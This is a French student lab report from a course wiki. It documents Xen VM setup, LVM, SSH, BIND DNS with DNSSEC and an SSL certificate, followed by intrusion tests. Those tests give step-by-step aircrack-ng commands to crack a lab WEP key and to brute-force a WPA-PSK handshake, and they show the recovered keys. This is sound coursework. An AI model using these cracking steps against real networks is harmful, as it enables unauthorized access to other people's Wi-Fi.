TP sysres IMA5 2021/2022 G5

De Wiki d'activités IMA
Révision datée du 10 janvier 2022 à 17:59 par Cvingere (discussion | contributions) (Cassage du mot de passe WPA-PSK par force brute)

BOURDAIN Hélène & VINGERE Camille

Plan d'adressage

Groupe VLAN Réseau IPv4 Réseau IPv6 @IPv4 virtuelle IPv4/IPv6 6509E (E304) IPv4/IPv6 C9200 (E306) IPv4/IPv6 ISR4331 IPv4 @MV SSID VM
Helene / Camille 04 10.04.0.0/16 2001:7A8:116E:60B4::0/64 10.04.0.250 10.04.0.251 10.04.0.252 10.04.0.253 193.48.57.180/28 Tulipe Duff

Architecture réseau

Schéma global

Nous nous sommes occupés de l'installation physique du réseau.


Mise en place de la machine virtuelle

Création d'une machine virtuelle Xen

  • Connexion à capbreton
ssh root@capbreton
  • Changer la variable environnement pour le proxy
export http_proxy=http://proxy.plil.fr:3128
  • Création de la VM
xen-create-image --hostname=Duff --ip=193.48.57.180 --netmask=255.255.255.240 --gateway=193.48.57.190 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye
 
* --hostname : nom de la VM
* --netmask : masque de sous-réseau
* --gateway : ip de la passerelle
* --dir : répertoire où les disques virtuels doivent être créés
* --password : mot de passe pour accéder à la VM
* --dist : distribution linux

Création des deux partitions LVM

  • Choisir le volume

Pour cela, on affiche les différents volumes disponible

vgdisplay

--- Volume group ---
 VG Name               storage
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  150
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                24
 Open LV               12
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <5.46 TiB
 PE Size               4.00 MiB
 Total PE              1430526
 Alloc PE / Size       45056 / 176.00 GiB
 Free  PE / Size       1385470 / <5.29 TiB
 VG UUID               eusQhE-lOxZ-cQqQ-uFxt-dYjG-LuwI-HL0flc
  
 --- Volume group ---
 VG Name               virtual
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  333
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                56
 Open LV               49
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <1.82 TiB
 PE Size               4.00 MiB
 Total PE              476934
 Alloc PE / Size       143104 / 559.00 GiB
 Free  PE / Size       333830 / 1.27 TiB
 VG UUID               MS50AM-5UPD-Q5As-ZExy-nQYw-6zvq-Lftt6B
  
 --- Volume group ---
 VG Name               system
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  2
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                1
 Open LV               1
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <834.18 GiB
 PE Size               4.00 MiB
 Total PE              213549
 Alloc PE / Size       213549 / <834.18 GiB
 Free  PE / Size       0 / 0   
 VG UUID               09LwR3-qOUI-z438-g1TX-RGan-Y0HU-zKjTj2

On a choisi d'utiliser storage car c'est celui avec le plus d'espace disponible.

  • On créé les deux LV
lvcreate -L10G -n Duff1 storage
lvcreate -L10G -n Duff2 storage

*-L : taille allouée
*-n : nom de la partition
*storage : volume choisi
  • On a formaté nos disques
mkfs.ext4 /dev/storage/Duff1
mkfs.ext4 /dev/storage/Duff2
  • On a modifié le fichier de configuration

Cela nous a permit d'ajouter nos deux LVM et ajouter le pont IMAsc

vim /etc/xen/Duff.cfg

root        = '/dev/xvda2 ro'
disk        = [
                 'file:/usr/local/xen/domains/Duff/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Duff/swap.img,xvda1,w',
                 'phy:/dev/storage/Duff1,xvda3,w',
                 'phy:/dev/storage/Duff2,xvda4,w'
             ]
#  Networking
#
vif         = [ 'ip=193.48.57.180 ,mac=00:16:3E:28:98:56 ,bridge=IMA5sc' ]
  • On a ensuite lancé Duff
xl create -c /etc/xen/Duff.cfg

*-c : permet de spécifier le fichier de configuration
  • On a ensuite autorisé l'IPv6
vi /etc/network/interfaces
auto eth0 inet6 auto

Monter les disques dans la VM

  • Créer un point de montage
mkdir /mnt/xvda3
mkdir /mnt/xvda4

mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4
  • On créé les deux partitions

Les deux partitions que nous allons créer sont /home et /var or dans /var il y a déjà des fichiers que nous allons déplacer dans notre /mnt/xvda4

mv /var/* /mnt/xvda4

On édite fstab afin d'ajouter nos deux disques

vi /etc/fstab

/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

*ext4 : type de formatage
  • On monte tout
mount -a

On peut ensuite voir tout nos disques

lsblk

NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvda1 202:1    0  512M  0 disk [SWAP]
xvda2 202:2    0    4G  0 disk /
xvda3 202:3    0   10G  0 disk /home
xvda4 202:4    0   10G  0 disk /var

Service Internet

SSH

  • Modifier le fichier /etc/ssh/sshd_config:
Décommenter Port X 
Autoriser le login root : PermitRootLogin Yes

X : numéro du port ssh = 22
  • Relancer le service SSH
service ssh restart

Serveur DNS

  • Nom de domaine :
Aller sur Gandi.net : 

Nom domaine : duff-tulipe.club
Blue record : ns1.duff-tulipe.club ip : 193.48.57.180
  • Modification de /etc/resolv.conf

On installe un serveur de noms sur notre machine, elle nous servira donc de nameserver

nameserver 127.0.0.1
  • Modification de /etc/bind/named.conf.local
zone "duff-tulipe.club" IN {
       type master;
       file "/etc/bind/db.duff-tulipe.club";
       allow-transfer { 217.70.177.40; };
};
  • Création de /etc/bind/db.duff-tulipe.club
$TTL    259200
@       IN      SOA     ns1.duff-tulipe.club. postmaster.duff-tulipe.club. (
                    2021121301         ; Incrementation date based
                         18000         ; Refresh every 5 hours
                         3600          ; Retry every hour
                        388000         ; Expire after 45 days
                        259200 )       ; Minimum TTL : 3 days
;
@       IN      NS      ns1.duff-tulipe.club.
@       IN      NS      ns6.gandi.net.
ns1     IN      A       193.48.57.180 
www     IN      A       193.48.57.180
        IN      AAAA    2001:660:4401:60b0:216:3eff:fe28:9856

* A : Nom attribué à une adresse de type IP V4
* AAAA : Nom attribué à une adresse de type IP V6
* NS : Le ou les serveurs de noms de la zone (IPV4)
* SOA : Démarre la configuration
* TTL : Time to Live

Sécurisation du site par certificat SSL

Nous avons généré les clés privés et publiques avec un niveau de hachage SHA256.

openssl req -nodes -newkey rsa:2048 -sha256 -keyout duff-tulipe.club.key -out duff-tulipe.club.csr

* duff-tulipe.club.key : clé privé
* duff-tulipe.club.csr : clé publique

Il faut ensuite faire une demande de signature sur gandi.net puis ajouter un enregistrement CNAME à notre DNS dans le fichier /etc/bind/db.duff-tulipe.club :

_81984CA0A14C2BF87A3DC60134F472F1.duff-tulipe.club. 10800 IN CNAME 9693CBB1C5FF588366B34976185CEF2D.CF6A4117B09D101A3558AB1B3B415A3F.3001ef257407d5a371a9.sectigo.com.

Le certificat est disponible sur gandi sous format .crt et il faut le placer dans /etc/ssl/certs. On doit également télécharger le certificat intermédiaire de gandi (GandiStandardSSLCA2.pem).

Sécurisation de serveur DNS par DNSSEC

  • Modification de /etc/binc/named.conf.options
Activer le DNSSEC pour Bind:
dnssec-enable yes;
  • Création de la clef asymétrique de signature de clefs de zone
Création du répertore /etc/bind/duff-tulipe.dnssec
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE duff-tulipe.club
Renommer la clef en :
duff-tulipe.club-ksk.key
duff-tulipe.club-ksk.private
  • Création la clef asymétrique de la zone pour signer les enregistrements
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE duff-tulipe.club

Renommer la clef en :
duff-tulipe.club-zsk.key
duff-tulipe.club-zsk.private
  • Inclusion des fichiers dans /etc/bind/db.duff-tulipe.club
$include /etc/bind/duff-tulipe.club.dnssec/duff-tulipe.club-ksk.key
$include /etc/bind/duff-tulipe.club.dnssec/duff-tulipe.club-zsk.key

On incrémente le numéro de version

@       IN      SOA     ns1.duff-tulipe.club. postmaster.duff-tulipe.club. (
                   2021121302         ; Incrementation date based
  • Signature des enregistrement de la zone
dnssec-signzone -o duff-tulipe.club -k duff-tulipe.club-ksk ../db.duff-tulipe.club duff-tulipe.club-zsk
  • Modification du ficher named.conf.local

Cela permet d'utiliser la zone signée, générée à l'étape précédente

zone "duff-tulipe.club" IN {
        type master;
        file "/etc/bind/db.duff-tulipe.club.signed";
        allow-transfer { 217.70.177.40; };
};
  • Communication de la partie publique

Copie du ficher duff-tulipe.club-ksk.key dans la partie DNSSEC de notre domaine sur gandi.net (KSK et algorithme RSA-SHA1)

  • Test

On lance la commande

dnssec-verify -o duff-tulipe.club db.duff-tulipe.club.signed
Loading zone 'duff-tulipe.club' from file 'db.duff-tulipe.club.signed'

Verifying the zone using the following algorithms:
- RSASHA1
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
                    ZSKs: 1 active, 0 stand-by, 0 revoked

Tests d'intrusion

Cassage de clef WEP d’un point d’accès WiFi

  • Installation du paquet aircrack
apt install aircrack-ng
  • Affichage de notre interface réseau
 airmon-ng
  • Arrêter les process existant
airmon-ng check kill
  • Connecter notre interface sur un canal
airmon-ng start <n°interface> <canal>

n°interface : wlan0mon
canal : 3
  • Récupération du BSSID du point d'accès
airodump-ng wlan0mon

permet d'écouter tous les paquets

On choisit une cracotte : cracotte05 => BSSID : 04:DA:D2:9C:50:54
  • Test d'injection

Après avoir récupéré le BSSID d'une des cracotte on réalise un test d'injection.

aireplay-ng -9 -e <nom_du_point_d_acces> -a <BSSID> <n°interface>
  • Capture des VI sur notre point d'accès dans un fichier
airodump-ng -c <canal> --bssid <BSSID> -w output <n°interface>

Il faut désormais ouvrir un nouveau terminal.

  • Associer l'interface réseau à notre point d'accès

Nous utilisons une fausse authentification pour nous connecter.

aireplay-ng -1 0 -e <nom_du_point_d_acces> -a <BSSID> -h <BSSID_interface_reseau> <n°interface>

nom pt acces : cracotte05
bssid: 04:DA:D2:9C:50:54
BSSID_interface_reseau : 40:A5:EF:01:35:79
n°interface : wlan0mon
  • Décryptage
aircrack-ng -b 04:DA:D2:9C:50:54 output*.cap

Va tester différentes clefs jusqu'à trouver la bonne (822 dans notre cas)

 KEY FOUND! [ 55:55:55:55:5A:BC:06:CB:A4:44:44:44:44]
Decrypted correctly: 100%

Cassage du mot de passe WPA-PSK par force brute

  • Affichage de notre interface réseau
airmon-ng

wlx40a5ef059e47
  • Arrêter les process existant
airmon-ng check kill
  • Connecter notre interface sur un canal
airmon-ng start <n°interface> <canal>

n°interface : wlan0mon
canal : 3
  • Récupération du BSSID du point d'accès
airodump-ng wlan0mon

permet d'écouter tous les paquets

On choisit une kracotte (avec un "k" pour le WPA) : kracotte14 => BSSID : 44:AD:D9:5F:87:0D

On capture ensuite les VI générés par le point d'accès afin de capturer une Handshake dans un fichier psk :

airodump-ng -c 3 --bssid 44:AD:D9:5F:87:03 -w psk wlan0mon
*-c 3 : channel
*--bssid: BSSID de la kracotte

On créé ensuite un dictionnaire de toutes les combinaisons possibles de 8 chiffres avec l'aide de l'utilitaire crunch :

apt install crunch
crunch 8 8 0123456789 -o password.lst

*8 nombre min de caractères
*8 nombre max de caractères
*0123456789 : caractères utilisés pour les combinaisons
*-o : fichier de sortie

Une fois le chargement terminé nous obtenons ce résultat

KEY FOUND! [ 59914999 ]


     Master Key     : B6 2C 87 9A 1D D2 52 1A 23 45 79 FA 95 2F 09 F0 
                      75 A4 0C D9 AD 3B 10 C3 2B F7 41 50 00 AF D5 9D 

     Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

     EAPOL HMAC     : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00